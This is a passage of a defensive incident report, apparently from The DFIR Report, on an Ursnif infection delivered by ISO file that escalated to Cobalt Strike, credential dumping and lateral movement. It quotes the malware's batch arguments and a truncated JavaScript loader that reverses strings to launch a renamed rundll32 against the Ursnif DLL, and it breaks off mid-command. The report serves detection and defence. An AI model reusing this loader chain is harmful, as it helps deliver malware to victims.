Unwrapping Ursnifs Gifts - The DFIR Report By editor Published: 2023-01-09 · Archived: 2026-04-05 13:06:04 UTC In late August 2022, we investigated an incident involving Ursnif malware, which resulted in Cobalt Strike being deployed. This was followed by the threat actors moving laterally throughout the environment using an admin account. The Ursnif malware family (also commonly referred to as Gozi or ISFB) is one of the oldest banking trojans still active today. It has an extensive past of code forks and evolutions that has lead to several active variants in the last 5 years including Dreambot, IAP, RM2, RM3 and most recently, LDR4. For this report, we have referred to the malware as Ursnif for simplicity, however we also recommend reading Mandiant’s article on LDR4. The DFIR Report Services Private Threat Briefs: Over 20 private reports annually, such as this one but more concise and quickly published post-intrusion. Threat Feed: Focuses on tracking Command and Control frameworks like Cobalt Strike, Metasploit, Sliver, etc. All Intel: Includes everything from Private Threat Briefs and Threat Feed, plus private events, long-term tracking, data clustering, and other curated intel. Private Sigma Ruleset: Features 100+ Sigma rules derived from 40+ cases, mapped to ATT&CK with test examples. DFIR Labs: Offers cloud-based, hands-on learning experiences, using real data, from real intrusions. Interactive labs are available with different difficulty levels and can be accessed on-demand, accommodating various learning speeds. Contact us today for a demo! Case Summary In this intrusion, a malicious ISO file was delivered to a user which contained Ursnif malware. The malware displayed an interesting execution flow, which included using a renamed copy of rundll32. Once executed, the malware conducted automatic discovery on the beachhead host, as we have observed with other loaders such as IcedID. The malware also established persistence on the host with the creation of a registry run key. Approximately 4 days after the initial infection, new activity on the host provided a clear distinction of a threat actor performing manual actions (hands on keyboard). The threat actor used a Background Intelligent Transfer Service (BITS) job to download a Cobalt Strike beacon, and then used the beacon for subsequent actions. https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/ Page 1 of 32 The threat actor first ran some initial discovery on the host using built-in Windows utilities like ipconfig, systeminfo, net, and ping. Shortly afterwards, the threat actor injected into various processes and then proceeded to access lsass memory on the host to extract credentials. Using the credentials extracted from memory, the threat actors began to move laterally. They targeted a domain controller and used Impacket’s wmiexec.py to execute code on the remote host. This included executing both a msi installer for the RMM tools Atera and Splashtop, as well as a Cobalt Strike executable beacon. These files were transferred to the domain controller over SMB. After connecting to the Cobalt Strike beacon on the domain controller, the threat actor executed another round of discovery tasks and dumped lsass memory on the domain controller. Finally, they dropped a script named adcomp.bat which executed a PowerShell command to collect data on computers in the Windows domain. The following day, there was a short check-in on the beachhead host from a Cobalt Strike beacon, no other activity occurred until near the end of the day. At that time, the threat actor became active by initiating a proxied RDP connection via the Cobalt Strike beacon to the domain controller. From there, the threat actor began connecting to various hosts across the network. One host of interest was one of the backup servers, which was logged into, the state of backups were checked and running processes were reviewed before exiting the session. The threat actor was later evicted from the network. Timeline https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/ Page 2 of 32 https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/ Page 3 of 32 Analysis and reporting completed by @_pete_0, @svch0st and UC1. Initial Access In this case, the Ursnif malware was delivered using a very familiar technique of being contained within an ISO file. The DFIR Report has previously reported on several incidents that involved the tactic of delivering malicious flies using ISO files: Quantum Ransomware BumbleBee Roasts Its Way to Domain Admin BumbleBee: Round Two Diavol Ransomware As we have previously highlighted, the Event Log Microsoft-Windows-VHDMP-Operational.evtx contains high confidence evidence when users mount ISO files. We recommend looking for these events (especially Event ID’s 1, 12 & 25) in your environment and checking for anomalies. In this case, the user had saved the file 3488164.iso to the their downloads folder and mounted it. Once mounted, the new drive contained a LNK file 6570872.lnk and hidden folder “me”. https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/ Page 4 of 32 If we parse this LNK file with LECmd (by Eric Zimmerman), it highlights the execution path and the icon it appears as: The contents of hidden folder “me”, included several files and folders that were used for the execution of Ursnif. Of interest, the folder included a legitimate copy of rundll32.exe (renamed to 123.com ). https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/ Page 5 of 32 Summary of the files found in 3488164.iso (a detailed break down of these can be found in Execution): File Name Purpose 6570872.lnk LNK file that executes alsoOne.bat me/by Empty folder me/here Empty folder me/123.com Renamed legitimate version of rundll32.exe me/alsoOne.bat Batch script to run canWell.js with specific arguments me/canWell.js Reverses argument strings and executes tslt.db with 123.com me/itslt.db Ursnif DLL or.jpg Image not used. Execution Once the user had mounted the ISO and the LNK file was executed by the user, the complex execution flow started. https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/ Page 6 of 32 Ursnif Malware Highlighted in Initial Access, the LNK file would execute a batch script alsoOne.bat . This script called a JavaScript file canWell.js in the same directory and provided a number of strings as arguments. alsoOne.bat set %params%=hello me\canWell.js hello cexe lldnur revreSretsigeRllD canWell.js /** WhnldGh https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/ Page 7 of 32 */ function reverseString(str) { var splitString = str.split(""); var reverseArray = splitString.reverse(); var joinArray = reverseArray.join(""); return joinArray; } function ar(id) { r = WScript.Arguments(id); return r; } var sh = WScript.CreateObject("WScript.Shell"); sh[reverseString(ar(1))]("me\\123.com me/itsIt.db,"+reverseString(a The JS file was then executed with wscript.exe and used the provided command line arguments, which created and executed the following command using WScript.Shell.Exec(): me/123.com me/itsIt.db,DllRegisterServer Using the SRUM database, we were able to determine that the custom rundll32.exe binary downloaded approximately 0.4 MB of data. https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/ Page 8 of 32 Once the malware was executed, the parent instance of explorer launched MSHTA with the following command: "C:\Windows\System32\mshta.exe" "about: